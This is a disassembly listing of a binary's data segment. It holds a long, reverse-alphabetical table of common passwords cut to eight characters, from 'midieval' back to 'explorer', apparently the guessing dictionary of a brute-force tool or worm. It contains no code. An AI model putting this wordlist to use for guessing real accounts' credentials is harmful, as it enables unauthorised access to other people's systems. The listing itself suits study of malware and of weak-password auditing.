aMidieval db 'midieval',0 ; DATA XREF: seg002:004241A8o
align 10h
aMicrosof db 'microsof',0 ; DATA XREF: seg002:004241A4o
align 4
aMicropro db 'micropro',0 ; DATA XREF: seg002:004241A0o
align 4
aMicrochi db 'microchi',0 ; DATA XREF: seg002:0042419Co
align 4
aMicro db 'micro',0 ; DATA XREF: seg002:00424198o
align 4
aMickey db 'mickey',0 ; DATA XREF: seg002:00424194o
align 4
aMichelle db 'michelle',0 ; DATA XREF: seg002:00424190o
align 10h
aMichele db 'michele',0 ; DATA XREF: seg002:0042418Co
aMichelan db 'michelan',0 ; DATA XREF: seg002:00424188o
align 4
aMichel db 'michel',0 ; DATA XREF: seg002:00424184o
align 4
aMichael db 'michael',0 ; DATA XREF: seg002:00424180o
aMice db 'mice',0 ; DATA XREF: seg002:0042417Co
align 4
aMets db 'mets',0 ; DATA XREF: seg002:00424178o
align 4
aMetalica db 'metalica',0 ; DATA XREF: seg002:00424174o
align 10h
aMetalhea db 'metalhea',0 ; DATA XREF: seg002:00424170o
align 4
aMetal db 'metal',0 ; DATA XREF: seg002:0042416Co
align 4
aMerlin db 'merlin',0 ; DATA XREF: seg002:00424168o
align 4
aMercury db 'mercury',0 ; DATA XREF: seg002:00424164o
aMenu db 'menu',0 ; DATA XREF: seg002:00424160o
align 4
aMenace db 'menace',0 ; DATA XREF: seg002:0042415Co
align 4
aMemory db 'memory',0 ; DATA XREF: seg002:00424158o
align 4
aMember db 'member',0 ; DATA XREF: seg002:00424154o
align 4
aMelrose db 'melrose',0 ; DATA XREF: seg002:00424150o
aMellon db 'mellon',0 ; DATA XREF: seg002:0042414Co
align 4
aMelissa db 'melissa',0 ; DATA XREF: seg002:00424148o
aMegan db 'megan',0 ; DATA XREF: seg002:00424144o
align 4
aMegadeth db 'megadeth',0 ; DATA XREF: seg002:00424140o
align 10h
aMegabyte db 'megabyte',0 ; DATA XREF: seg002:0042413Co
align 4
aMeagan db 'meagan',0 ; DATA XREF: seg002:00424138o
align 4
aMaurice db 'maurice',0 ; DATA XREF: seg002:00424134o
aMath db 'math',0 ; DATA XREF: seg002:00424130o
align 4
aMaster db 'master',0 ; DATA XREF: seg002:0042412Co
align 4
aMason db 'mason',0 ; DATA XREF: seg002:00424128o
align 4
aMary db 'mary',0 ; DATA XREF: seg002:00424124o
align 4
aMarvin db 'marvin',0 ; DATA XREF: seg002:00424120o
align 4
aMarty db 'marty',0 ; DATA XREF: seg002:0042411Co
align 4
aMars db 'mars',0 ; DATA XREF: seg002:00424118o
align 4
aMarriage db 'marriage',0 ; DATA XREF: seg002:00424114o
align 10h
aMarni db 'marni',0 ; DATA XREF: seg002:00424110o
align 4
aMarkus db 'markus',0 ; DATA XREF: seg002:0042410Co
align 10h
aMark db 'mark',0 ; DATA XREF: seg002:00424108o
align 4
aMarines db 'marines',0 ; DATA XREF: seg002:00424104o
aMarijuan db 'marijuan',0 ; DATA XREF: seg002:00424100o
align 4
aMarietta db 'marietta',0 ; DATA XREF: seg002:004240FCo
align 4
aMariens db 'mariens',0 ; DATA XREF: seg002:004240F8o
aMaria db 'maria',0 ; DATA XREF: seg002:004240F4o
align 4
aMarcy db 'marcy',0 ; DATA XREF: seg002:004240F0o
align 10h
aMarci db 'marci',0 ; DATA XREF: seg002:004240ECo
align 4
aMara db 'mara',0 ; DATA XREF: seg002:004240E8o
align 10h
aManager db 'manager',0 ; DATA XREF: seg002:004240E4o
aMana db 'mana',0 ; DATA XREF: seg002:004240E0o
align 10h
aMalcom db 'malcom',0 ; DATA XREF: seg002:004240DCo
align 4
aMalcolm db 'malcolm',0 ; DATA XREF: seg002:004240D8o
aMaint db 'maint',0 ; DATA XREF: seg002:004240D4o
align 4
aMail db 'mail',0 ; DATA XREF: seg002:004240D0o
align 10h
aMagnet db 'magnet',0 ; DATA XREF: seg002:004240CCo
align 4
aMagic db 'magic',0 ; DATA XREF: seg002:004240C8o
align 10h
aMaggot db 'maggot',0 ; DATA XREF: seg002:004240C4o
align 4
aMacro db 'macro',0 ; DATA XREF: seg002:004240C0o
align 10h
aMack db 'mack',0 ; DATA XREF: seg002:004240BCo
align 4
aMacintos db 'macintos',0 ; DATA XREF: seg002:004240B8o
align 4
aMachine db 'machine',0 ; DATA XREF: seg002:004240B4o
aLynne db 'lynne',0 ; DATA XREF: seg002:004240B0o
align 4
aLynn db 'lynn',0 ; DATA XREF: seg002:004240ACo
align 4
aLust db 'lust',0 ; DATA XREF: seg002:004240A8o
align 4
aLuke db 'luke',0 ; DATA XREF: seg002:004240A4o
align 4
aLude db 'lude',0 ; DATA XREF: seg002:004240A0o
align 4
aLucy db 'lucy',0 ; DATA XREF: seg002:0042409Co
align 4
aLucus db 'lucus',0 ; DATA XREF: seg002:00424098o
align 4
aLuck db 'luck',0 ; DATA XREF: seg002:00424094o
align 4
aLover db 'lover',0 ; DATA XREF: seg002:00424090o
align 4
aLovebug db 'lovebug',0 ; DATA XREF: seg002:0042408Co
aLouis db 'louis',0 ; DATA XREF: seg002:00424088o
align 4
aLoser db 'loser',0 ; DATA XREF: seg002:00424084o
align 4
aLorraine db 'lorraine',0 ; DATA XREF: seg002:00424080o
align 4
aLorin db 'lorin',0 ; DATA XREF: seg002:0042407Co
align 10h
aLori db 'lori',0 ; DATA XREF: seg002:00424078o
align 4
aLore db 'lore',0 ; DATA XREF: seg002:00424074o
align 10h
aLoose db 'loose',0 ; DATA XREF: seg002:00424070o
align 4
aLolopc db 'lolopc',0 ; DATA XREF: seg002:0042406Co
align 10h
aLois db 'lois',0 ; DATA XREF: seg002:00424068o
align 4
aLogout db 'logout',0 ; DATA XREF: seg002:00424064o
align 10h
aLoginwor db 'loginwor',0 ; DATA XREF: seg002:00424060o
align 4
aLogic db 'logic',0 ; DATA XREF: seg002:0042405Co
align 4
aLockword db 'lockword',0 ; DATA XREF: seg002:00424058o
align 10h
aLockout db 'lockout',0 ; DATA XREF: seg002:00424054o
aLock db 'lock',0 ; DATA XREF: seg002:00424050o
align 10h
aLoad db 'load',0 ; DATA XREF: seg002:0042404Co
align 4
aLive db 'live',0 ; DATA XREF: seg002:00424048o
align 10h
aLiteratu db 'literatu',0 ; DATA XREF: seg002:00424044o
align 4
aLisp db 'lisp',0 ; DATA XREF: seg002:00424040o
align 4
aLisa db 'lisa',0 ; DATA XREF: seg002:0042403Co
align 4
aLips db 'lips',0 ; DATA XREF: seg002:00424038o
align 4
aLion db 'lion',0 ; DATA XREF: seg002:00424034o
align 4
aLink db 'link',0 ; DATA XREF: seg002:00424030o
align 4
aLinda db 'linda',0 ; DATA XREF: seg002:0042402Co
align 4
aLimited db 'limited',0 ; DATA XREF: seg002:00424028o
aLimbaugh db 'limbaugh',0 ; DATA XREF: seg002:00424024o
align 10h
aLima db 'lima',0 ; DATA XREF: seg002:00424020o
align 4
aLightsab db 'lightsab',0 ; DATA XREF: seg002:0042401Co
align 4
aLight db 'light',0 ; DATA XREF: seg002:00424018o
align 4
aLife db 'life',0 ; DATA XREF: seg002:00424014o
align 4
aLicker db 'licker',0 ; DATA XREF: seg002:00424010o
align 4
aLick db 'lick',0 ; DATA XREF: seg002:0042400Co
align 4
aLibrary db 'library',0 ; DATA XREF: seg002:00424008o
aLiberal db 'liberal',0 ; DATA XREF: seg002:00424004o
aLexluthe db 'lexluthe',0 ; DATA XREF: seg002:00424000o
align 10h
aLewis db 'lewis',0 ; DATA XREF: seg002:00423FFCo
align 4
aLetmein db 'letmein',0 ; DATA XREF: seg002:00423FF8o
aLeslie db 'leslie',0 ; DATA XREF: seg002:00423FF4o
align 4
aLesbian db 'lesbian',0 ; DATA XREF: seg002:00423FF0o
aLeroy db 'leroy',0 ; DATA XREF: seg002:00423FECo
align 4
aLeland db 'leland',0 ; DATA XREF: seg002:00423FE8o
align 10h
aLegal db 'legal',0 ; DATA XREF: seg002:00423FE4o
align 4
aLeftwing db 'leftwing',0 ; DATA XREF: seg002:00423FE0o
align 4
aLeft db 'left',0 ; DATA XREF: seg002:00423FDCo
align 4
aLebesgue db 'lebesgue',0 ; DATA XREF: seg002:00423FD8o
align 4
aLeah db 'leah',0 ; DATA XREF: seg002:00423FD4o
align 10h
aLazer db 'lazer',0 ; DATA XREF: seg002:00423FD0o
align 4
aLazarus db 'lazarus',0 ; DATA XREF: seg002:00423FCCo
aLava db 'lava',0 ; DATA XREF: seg002:00423FC8o
align 4
aLaura db 'laura',0 ; DATA XREF: seg002:00423FC4o
align 10h
aLaser db 'laser',0 ; DATA XREF: seg002:00423FC0o
align 4
aLarry db 'larry',0 ; DATA XREF: seg002:00423FBCo
align 10h
aLarkin db 'larkin',0 ; DATA XREF: seg002:00423FB8o
align 4
aLara db 'lara',0 ; DATA XREF: seg002:00423FB4o
align 10h
aLaptop db 'laptop',0 ; DATA XREF: seg002:00423FB0o
align 4
aLana db 'lana',0 ; DATA XREF: seg002:00423FACo
align 10h
aLaminati db 'laminati',0 ; DATA XREF: seg002:00423FA8o
align 4
aLambda db 'lambda',0 ; DATA XREF: seg002:00423FA4o
align 4
aLakers db 'lakers',0 ; DATA XREF: seg002:00423FA0o
align 4
aLadle db 'ladle',0 ; DATA XREF: seg002:00423F9Co
align 4
aLadies db 'ladies',0 ; DATA XREF: seg002:00423F98o
align 4
aKristy db 'kristy',0 ; DATA XREF: seg002:00423F94o
align 4
aKristine db 'kristine',0 ; DATA XREF: seg002:00423F90o
align 10h
aKristin db 'kristin',0 ; DATA XREF: seg002:00423F8Co
aKristie db 'kristie',0 ; DATA XREF: seg002:00423F88o
aKristi db 'kristi',0 ; DATA XREF: seg002:00423F84o
align 4
aKristen db 'kristen',0 ; DATA XREF: seg002:00423F80o
aKrista db 'krista',0 ; DATA XREF: seg002:00423F7Co
align 4
aKnown db 'known',0 ; DATA XREF: seg002:00423F78o
align 10h
aKnightma db 'knightma',0 ; DATA XREF: seg002:00423F74o
align 4
aKnight db 'knight',0 ; DATA XREF: seg002:00423F70o
align 4
aKnife db 'knife',0 ; DATA XREF: seg002:00423F6Co
align 4
aKlingon db 'klingon',0 ; DATA XREF: seg002:00423F68o
aKitten db 'kitten',0 ; DATA XREF: seg002:00423F64o
align 4
aKissmyas db 'kissmyas',0 ; DATA XREF: seg002:00423F60o
align 4
aKiss db 'kiss',0 ; DATA XREF: seg002:00423F5Co
align 10h
aKirkland db 'kirkland',0 ; DATA XREF: seg002:00423F58o
align 4
aKirk db 'kirk',0 ; DATA XREF: seg002:00423F54o
align 4
aKing db 'king',0 ; DATA XREF: seg002:00423F50o
align 4
aKimberly db 'kimberly',0 ; DATA XREF: seg002:00423F4Co
align 4
aKilo db 'kilo',0 ; DATA XREF: seg002:00423F48o
align 10h
aKillthem db 'killthem',0 ; DATA XREF: seg002:00423F44o
align 4
aKill db 'kill',0 ; DATA XREF: seg002:00423F40o
align 4
aKids db 'kids',0 ; DATA XREF: seg002:00423F3Co
align 4
aKeyword db 'keyword',0 ; DATA XREF: seg002:00423F38o
aKeyin db 'keyin',0 ; DATA XREF: seg002:00423F34o
align 4
aKeybord db 'keybord',0 ; DATA XREF: seg002:00423F30o
aKewl db 'kewl',0 ; DATA XREF: seg002:00423F2Co
align 4
aKevin db 'kevin',0 ; DATA XREF: seg002:00423F28o
align 4
aKerry db 'kerry',0 ; DATA XREF: seg002:00423F24o
align 4
aKerrie db 'kerrie',0 ; DATA XREF: seg002:00423F20o
align 4
aKerri db 'kerri',0 ; DATA XREF: seg002:00423F1Co
align 4
aKernel db 'kernel',0 ; DATA XREF: seg002:00423F18o
align 4
aKermit db 'kermit',0 ; DATA XREF: seg002:00423F14o
align 4
aKeri db 'keri',0 ; DATA XREF: seg002:00423F10o
align 4
aKelly db 'kelly',0 ; DATA XREF: seg002:00423F0Co
align 4
aKatrina db 'katrina',0 ; DATA XREF: seg002:00423F08o
aKatina db 'katina',0 ; DATA XREF: seg002:00423F04o
align 4
aKathy db 'kathy',0 ; DATA XREF: seg002:00423F00o
align 4
aKathrine db 'kathrine',0 ; DATA XREF: seg002:00423EFCo
align 10h
aKathleen db 'kathleen',0 ; DATA XREF: seg002:00423EF8o
align 4
aKate db 'kate',0 ; DATA XREF: seg002:00423EF4o
align 4
aKatana db 'katana',0 ; DATA XREF: seg002:00423EF0o
align 4
aKarina db 'karina',0 ; DATA XREF: seg002:00423EECo
align 4
aKarie db 'karie',0 ; DATA XREF: seg002:00423EE8o
align 4
aKaren db 'karen',0 ; DATA XREF: seg002:00423EE4o
align 4
aKaka db 'kaka',0 ; DATA XREF: seg002:00423EE0o
align 4
aJupiter db 'jupiter',0 ; DATA XREF: seg002:00423EDCo
aJune db 'june',0 ; DATA XREF: seg002:00423ED8o
align 4
aJuliet db 'juliet',0 ; DATA XREF: seg002:00423ED4o
align 4
aJulie db 'julie',0 ; DATA XREF: seg002:00423ED0o
align 4
aJulia db 'julia',0 ; DATA XREF: seg002:00423ECCo
align 4
aJuicy db 'juicy',0 ; DATA XREF: seg002:00423EC8o
align 4
aJuggle db 'juggle',0 ; DATA XREF: seg002:00423EC4o
align 4
aJudy db 'judy',0 ; DATA XREF: seg002:00423EC0o
align 4
aJudith db 'judith',0 ; DATA XREF: seg002:00423EBCo
align 4
aJoyce db 'joyce',0 ; DATA XREF: seg002:00423EB8o
align 4
aJournal db 'journal',0 ; DATA XREF: seg002:00423EB4o
aJoshua db 'joshua',0 ; DATA XREF: seg002:00423EB0o
align 4
aJoseph db 'joseph',0 ; DATA XREF: seg002:00423EACo
align 4
aJohnny db 'johnny',0 ; DATA XREF: seg002:00423EA8o
align 4
aJohndoe db 'johndoe',0 ; DATA XREF: seg002:00423EA4o
aJohn db 'john',0 ; DATA XREF: seg002:00423EA0o
align 4
aJody db 'jody',0 ; DATA XREF: seg002:00423E9Co
align 4
aJoanne db 'joanne',0 ; DATA XREF: seg002:00423E98o
align 4
aJixian db 'jixian',0 ; DATA XREF: seg002:00423E94o
align 4
aJill db 'jill',0 ; DATA XREF: seg002:00423E90o
align 4
aJewelry db 'jewelry',0 ; DATA XREF: seg002:00423E8Co
aJester db 'jester',0 ; DATA XREF: seg002:00423E88o
align 4
aJessica db 'jessica',0 ; DATA XREF: seg002:00423E84o
aJerusale db 'jerusale',0 ; DATA XREF: seg002:00423E80o
align 10h
aJerry db 'jerry',0 ; DATA XREF: seg002:00423E7Co
align 4
aJenny db 'jenny',0 ; DATA XREF: seg002:00423E78o
align 10h
aJennifer db 'jennifer',0 ; DATA XREF: seg002:00423E74o
align 4
aJenni db 'jenni',0 ; DATA XREF: seg002:00423E70o
align 4
aJeff db 'jeff',0 ; DATA XREF: seg002:00423E6Co
align 4
aJeanne db 'jeanne',0 ; DATA XREF: seg002:00423E68o
align 4
aJean db 'jean',0 ; DATA XREF: seg002:00423E64o
align 4
aJazz db 'jazz',0 ; DATA XREF: seg002:00423E60o
align 4
aJava db 'java',0 ; DATA XREF: seg002:00423E5Co
align 4
aJasmin db 'jasmin',0 ; DATA XREF: seg002:00423E58o
align 4
aJapan db 'japan',0 ; DATA XREF: seg002:00423E54o
align 4
aJanie db 'janie',0 ; DATA XREF: seg002:00423E50o
align 4
aJanice db 'janice',0 ; DATA XREF: seg002:00423E4Co
align 4
aJanet db 'janet',0 ; DATA XREF: seg002:00423E48o
align 4
aJane db 'jane',0 ; DATA XREF: seg002:00423E44o
align 4
aJail db 'jail',0 ; DATA XREF: seg002:00423E40o
align 4
aJackie db 'jackie',0 ; DATA XREF: seg002:00423E3Co
align 4
aIsis db 'isis',0 ; DATA XREF: seg002:00423E38o
align 4
aIrishman db 'irishman',0 ; DATA XREF: seg002:00423E34o
align 10h
aIrene db 'irene',0 ; DATA XREF: seg002:00423E30o
align 4
aInvent db 'invent',0 ; DATA XREF: seg002:00423E2Co
align 10h
aInteger db 'integer',0 ; DATA XREF: seg002:00423E28o
aInside db 'inside',0 ; DATA XREF: seg002:00423E24o
align 10h
aInput db 'input',0 ; DATA XREF: seg002:00423E20o
align 4
aInnocuou db 'innocuou',0 ; DATA XREF: seg002:00423E1Co
align 4
aInna db 'inna',0 ; DATA XREF: seg002:00423E18o
align 4
aIngrid db 'ingrid',0 ; DATA XREF: seg002:00423E14o
align 4
aIngress db 'ingress',0 ; DATA XREF: seg002:00423E10o
aIngres db 'ingres',0 ; DATA XREF: seg002:00423E0Co
align 4
aIndians db 'indians',0 ; DATA XREF: seg002:00423E08o
aIndiana db 'indiana',0 ; DATA XREF: seg002:00423E04o
aIndian db 'indian',0 ; DATA XREF: seg002:00423E00o
align 4
aIndia db 'india',0 ; DATA XREF: seg002:00423DFCo
align 4
aInclude db 'include',0 ; DATA XREF: seg002:00423DF8o
aImperial db 'imperial',0 ; DATA XREF: seg002:00423DF4o
align 4
aImmortal db 'immortal',0 ; DATA XREF: seg002:00423DF0o
align 4
aImbrogli db 'imbrogli',0 ; DATA XREF: seg002:00423DECo
align 10h
aImage db 'image',0 ; DATA XREF: seg002:00423DE8o
align 4
aIllumina db 'illumina',0 ; DATA XREF: seg002:00423DE4o
align 4
aIcecream db 'icecream',0 ; DATA XREF: seg002:00423DE0o
align 10h
aHypertxt db 'hypertxt',0 ; DATA XREF: seg002:00423DDCo
align 4
aHyper db 'hyper',0 ; DATA XREF: seg002:00423DD8o
align 4
aHydrogen db 'hydrogen',0 ; DATA XREF: seg002:00423DD4o
align 10h
aHutchins db 'hutchins',0 ; DATA XREF: seg002:00423DD0o
align 4
aHunter db 'hunter',0 ; DATA XREF: seg002:00423DCCo
align 4
aHunt db 'hunt',0 ; DATA XREF: seg002:00423DC8o
align 4
aHttp db 'http',0 ; DATA XREF: seg002:00423DC4o
align 4
aHotel db 'hotel',0 ; DATA XREF: seg002:00423DC0o
align 4
aHotdog db 'hotdog',0 ; DATA XREF: seg002:00423DBCo
align 4
aHost db 'host',0 ; DATA XREF: seg002:00423DB8o
align 4
aHorus db 'horus',0 ; DATA XREF: seg002:00423DB4o
align 4
aHorse db 'horse',0 ; DATA XREF: seg002:00423DB0o
align 4
aHorror db 'horror',0 ; DATA XREF: seg002:00423DACo
align 4
aHorrible db 'horrible',0 ; DATA XREF: seg002:00423DA8o
align 10h
aHorny db 'horny',0 ; DATA XREF: seg002:00423DA4o
align 4
aHooters db 'hooters',0 ; DATA XREF: seg002:00423DA0o
aHooker db 'hooker',0 ; DATA XREF: seg002:00423D9Co
align 4
aHoney db 'honey',0 ; DATA XREF: seg002:00423D98o
align 10h
aHomework db 'homework',0 ; DATA XREF: seg002:00423D94o
align 4
aHomer db 'homer',0 ; DATA XREF: seg002:00423D90o
align 4
aHomepage db 'homepage',0 ; DATA XREF: seg002:00423D8Co
align 10h
aHollywoo db 'hollywoo',0 ; DATA XREF: seg002:00423D88o
align 4
aHolly db 'holly',0 ; DATA XREF: seg002:00423D84o
align 4
aHole db 'hole',0 ; DATA XREF: seg002:00423D80o
align 4
aHits db 'hits',0 ; DATA XREF: seg002:00423D7Co
align 4
aHitler db 'hitler',0 ; DATA XREF: seg002:00423D78o
align 4
aHighland db 'highland',0 ; DATA XREF: seg002:00423D74o
align 4
aHigh db 'high',0 ; DATA XREF: seg002:00423D70o
align 10h
aHidden db 'hidden',0 ; DATA XREF: seg002:00423D6Co
align 4
aHibernia db 'hibernia',0 ; DATA XREF: seg002:00423D68o
align 4
aHiawatha db 'hiawatha',0 ; DATA XREF: seg002:00423D64o
align 10h
aHexadeci db 'hexadeci',0 ; DATA XREF: seg002:00423D60o
align 4
aHewlett db 'hewlett',0 ; DATA XREF: seg002:00423D5Co
aHeroin db 'heroin',0 ; DATA XREF: seg002:00423D58o
align 4
aHero db 'hero',0 ; DATA XREF: seg002:00423D54o
align 4
aHerbert db 'herbert',0 ; DATA XREF: seg002:00423D50o
aHerb db 'herb',0 ; DATA XREF: seg002:00423D4Co
align 4
aHelp db 'help',0 ; DATA XREF: seg002:00423D48o
align 4
aHello db 'hello',0 ; DATA XREF: seg002:00423D44o
align 4
aHell db 'hell',0 ; DATA XREF: seg002:00423D40o
align 4
aHeinlein db 'heinlein',0 ; DATA XREF: seg002:00423D3Co
align 4
aHeidi db 'heidi',0 ; DATA XREF: seg002:00423D38o
align 10h
aHebrides db 'hebrides',0 ; DATA XREF: seg002:00423D34o
align 4
aHeather db 'heather',0 ; DATA XREF: seg002:00423D30o
aHeathen db 'heathen',0 ; DATA XREF: seg002:00423D2Co
aHeat db 'heat',0 ; DATA XREF: seg002:00423D28o
align 4
aHeadbang db 'headbang',0 ; DATA XREF: seg002:00423D24o
align 10h
aHead db 'head',0 ; DATA XREF: seg002:00423D20o
align 4
aHawaii db 'hawaii',0 ; DATA XREF: seg002:00423D1Co
align 10h
aHaven db 'haven',0 ; DATA XREF: seg002:00423D18o
align 4
aHate db 'hate',0 ; DATA XREF: seg002:00423D14o
align 10h
aHarvey db 'harvey',0 ; DATA XREF: seg002:00423D10o
align 4
aHarold db 'harold',0 ; DATA XREF: seg002:00423D0Co
align 10h
aHarmony db 'harmony',0 ; DATA XREF: seg002:00423D08o
aHarddriv db 'harddriv',0 ; DATA XREF: seg002:00423D04o
align 4
aHardcore db 'hardcore',0 ; DATA XREF: seg002:00423D00o
align 10h
aHard db 'hard',0 ; DATA XREF: seg002:00423CFCo
align 4
aHappenin db 'happenin',0 ; DATA XREF: seg002:00423CF8o
align 4
aHandjob db 'handjob',0 ; DATA XREF: seg002:00423CF4o
aHandily db 'handily',0 ; DATA XREF: seg002:00423CF0o
aHandel db 'handel',0 ; DATA XREF: seg002:00423CECo
align 4
aHamster db 'hamster',0 ; DATA XREF: seg002:00423CE8o
aHamlet db 'hamlet',0 ; DATA XREF: seg002:00423CE4o
align 4
aHallowee db 'hallowee',0 ; DATA XREF: seg002:00423CE0o
align 4
aHair db 'hair',0 ; DATA XREF: seg002:00423CDCo
align 10h
aHagar db 'hagar',0 ; DATA XREF: seg002:00423CD8o
align 4
aHacked db 'hacked',0 ; DATA XREF: seg002:00423CD4o
align 10h
aHack db 'hack',0 ; DATA XREF: seg002:00423CD0o
align 4
aGuntis db 'guntis',0 ; DATA XREF: seg002:00423CCCo
align 10h
aGumption db 'gumption',0 ; DATA XREF: seg002:00423CC8o
align 4
aGuitar db 'guitar',0 ; DATA XREF: seg002:00423CC4o
align 4
aGuess db 'guess',0 ; DATA XREF: seg002:00423CC0o
align 4
aGucci db 'gucci',0 ; DATA XREF: seg002:00423CBCo
align 4
aGuardian db 'guardian',0 ; DATA XREF: seg002:00423CB8o
align 10h
aGryphon db 'gryphon',0 ; DATA XREF: seg002:00423CB4o
aGroup db 'group',0 ; DATA XREF: seg002:00423CB0o
align 10h
aGreen db 'green',0 ; DATA XREF: seg002:00423CACo
align 4
aGreat db 'great',0 ; DATA XREF: seg002:00423CA8o
align 10h
aGrant db 'grant',0 ; DATA XREF: seg002:00423CA4o
align 4
aGrand db 'grand',0 ; DATA XREF: seg002:00423CA0o
align 10h
aGrahm db 'grahm',0 ; DATA XREF: seg002:00423C9Co
align 4
aGraham db 'graham',0 ; DATA XREF: seg002:00423C98o
align 10h
aGrades db 'grades',0 ; DATA XREF: seg002:00423C94o
align 4
aGovermen db 'govermen',0 ; DATA XREF: seg002:00423C90o
align 4
aGouge db 'gouge',0 ; DATA XREF: seg002:00423C8Co
align 4
aGosling db 'gosling',0 ; DATA XREF: seg002:00423C88o
aGorges db 'gorges',0 ; DATA XREF: seg002:00423C84o
align 4
aGorgeous db 'gorgeous',0 ; DATA XREF: seg002:00423C80o
align 4
aGood db 'good',0 ; DATA XREF: seg002:00423C7Co
align 10h
aGolfer db 'golfer',0 ; DATA XREF: seg002:00423C78o
align 4
aGolf db 'golf',0 ; DATA XREF: seg002:00423C74o
align 10h
aGolden db 'golden',0 ; DATA XREF: seg002:00423C70o
align 4
aGold db 'gold',0 ; DATA XREF: seg002:00423C6Co
align 10h
aGlacier db 'glacier',0 ; DATA XREF: seg002:00423C68o
aGirl db 'girl',0 ; DATA XREF: seg002:00423C64o
align 10h
aGinger db 'ginger',0 ; DATA XREF: seg002:00423C60o
align 4
aGina db 'gina',0 ; DATA XREF: seg002:00423C5Co
align 10h
aGigabyte db 'gigabyte',0 ; DATA XREF: seg002:00423C58o
align 4
aGibson db 'gibson',0 ; DATA XREF: seg002:00423C54o
align 4
aGhost db 'ghost',0 ; DATA XREF: seg002:00423C50o
align 4
aGertrude db 'gertrude',0 ; DATA XREF: seg002:00423C4Co
align 4
aGerm db 'germ',0 ; DATA XREF: seg002:00423C48o
align 10h
aGeorge db 'george',0 ; DATA XREF: seg002:00423C44o
align 4
aGauss db 'gauss',0 ; DATA XREF: seg002:00423C40o
align 10h
aGatt db 'gatt',0 ; DATA XREF: seg002:00423C3Co
align 4
aGatherin db 'gatherin',0 ; DATA XREF: seg002:00423C38o
align 4
aGateway db 'gateway',0 ; DATA XREF: seg002:00423C34o
aGarfield db 'garfield',0 ; DATA XREF: seg002:00423C30o
align 4
aGardner db 'gardner',0 ; DATA XREF: seg002:00423C2Co
aGames db 'games',0 ; DATA XREF: seg002:00423C28o
align 4
aGabriel db 'gabriel',0 ; DATA XREF: seg002:00423C24o
aFungible db 'fungible',0 ; DATA XREF: seg002:00423C20o
align 4
aFunction db 'function',0 ; DATA XREF: seg002:00423C1Co
align 4
aFudge db 'fudge',0 ; DATA XREF: seg002:00423C18o
align 10h
aFuckyou db 'fuckyou',0 ; DATA XREF: seg002:00423C14o
aFuckme db 'fuckme',0 ; DATA XREF: seg002:00423C10o
align 10h
aFucking db 'fucking',0 ; DATA XREF: seg002:00423C0Co
aFucker db 'fucker',0 ; DATA XREF: seg002:00423C08o
align 10h
aFuck db 'fuck',0 ; DATA XREF: seg002:00423C04o
align 4
aFryguy db 'fryguy',0 ; DATA XREF: seg002:00423C00o
align 10h
aFrog db 'frog',0 ; DATA XREF: seg002:00423BFCo
align 4
aFrighten db 'frighten',0 ; DATA XREF: seg002:00423BF8o
align 4
aFriends db 'friends',0 ; DATA XREF: seg002:00423BF4o
aFriend db 'friend',0 ; DATA XREF: seg002:00423BF0o
align 4
aFriday db 'friday',0 ; DATA XREF: seg002:00423BECo
align 4
aFrench db 'french',0 ; DATA XREF: seg002:00423BE8o
align 4
aFreedom db 'freedom',0 ; DATA XREF: seg002:00423BE4o
aFree db 'free',0 ; DATA XREF: seg002:00423BE0o
align 4
aFred db 'fred',0 ; DATA XREF: seg002:00423BDCo
align 4
aFreak db 'freak',0 ; DATA XREF: seg002:00423BD8o
align 4
aFrank db 'frank',0 ; DATA XREF: seg002:00423BD4o
align 4
aFrance db 'france',0 ; DATA XREF: seg002:00423BD0o
align 4
aFoxtrot db 'foxtrot',0 ; DATA XREF: seg002:00423BCCo
aFourier db 'fourier',0 ; DATA XREF: seg002:00423BC8o
aForsythe db 'forsythe',0 ; DATA XREF: seg002:00423BC4o
align 10h
aFornicat db 'fornicat',0 ; DATA XREF: seg002:00423BC0o
align 4
aFormat db 'format',0 ; DATA XREF: seg002:00423BBCo
align 4
aForm db 'form',0 ; DATA XREF: seg002:00423BB8o
align 4
aForever db 'forever',0 ; DATA XREF: seg002:00423BB4o
aForesigh db 'foresigh',0 ; DATA XREF: seg002:00423BB0o
align 10h
aFord db 'ford',0 ; DATA XREF: seg002:00423BACo
align 4
aForce db 'force',0 ; DATA XREF: seg002:00423BA8o
align 10h
aFootball db 'football',0 ; DATA XREF: seg002:00423BA4o
align 4
aFoolproo db 'foolproo',0 ; DATA XREF: seg002:00423BA0o
align 4
aFool db 'fool',0 ; DATA XREF: seg002:00423B9Co
align 10h
aFood db 'food',0 ; DATA XREF: seg002:00423B98o
align 4
aFlowers db 'flowers',0 ; DATA XREF: seg002:00423B94o
aFlower db 'flower',0 ; DATA XREF: seg002:00423B90o
align 4
aFlorida db 'florida',0 ; DATA XREF: seg002:00423B8Co
aFloat db 'float',0 ; DATA XREF: seg002:00423B88o
align 4
aFlakes db 'flakes',0 ; DATA XREF: seg002:00423B84o
align 10h
aFishers db 'fishers',0 ; DATA XREF: seg002:00423B80o
aFirewall db 'firewall',0 ; DATA XREF: seg002:00423B7Co
align 4
aFire db 'fire',0 ; DATA XREF: seg002:00423B78o
align 4
aFinite db 'finite',0 ; DATA XREF: seg002:00423B74o
align 4
aFile db 'file',0 ; DATA XREF: seg002:00423B70o
align 4
aFight db 'fight',0 ; DATA XREF: seg002:00423B6Co
align 4
aField db 'field',0 ; DATA XREF: seg002:00423B68o
align 4
aFidelity db 'fidelity',0 ; DATA XREF: seg002:00423B64o
align 4
aFerrari db 'ferrari',0 ; DATA XREF: seg002:00423B60o
aFermat db 'fermat',0 ; DATA XREF: seg002:00423B5Co
align 4
aFender db 'fender',0 ; DATA XREF: seg002:00423B58o
align 10h
aFelicia db 'felicia',0 ; DATA XREF: seg002:00423B54o
aFeds db 'feds',0 ; DATA XREF: seg002:00423B50o
align 10h
aFear db 'fear',0 ; DATA XREF: seg002:00423B4Co
align 4
aFast db 'fast',0 ; DATA XREF: seg002:00423B48o
align 10h
aFart db 'fart',0 ; DATA XREF: seg002:00423B44o
align 4
aFaraday db 'faraday',0 ; DATA XREF: seg002:00423B40o
aFarad db 'farad',0 ; DATA XREF: seg002:00423B3Co
align 4
aFamily db 'family',0 ; DATA XREF: seg002:00423B38o
align 10h
aFalse db 'false',0 ; DATA XREF: seg002:00423B34o
align 4
aFalcon db 'falcon',0 ; DATA XREF: seg002:00423B30o
align 10h
aFaith db 'faith',0 ; DATA XREF: seg002:00423B2Co
align 4
aFairway db 'fairway',0 ; DATA XREF: seg002:00423B28o
aExtensio db 'extensio',0 ; DATA XREF: seg002:00423B24o
align 4
aExplosiv db 'explosiv',0 ; DATA XREF: seg002:00423B20o
align 4
aExplorer db 'explorer',0 ; DATA XREF: seg002:00423B1Co
align 4
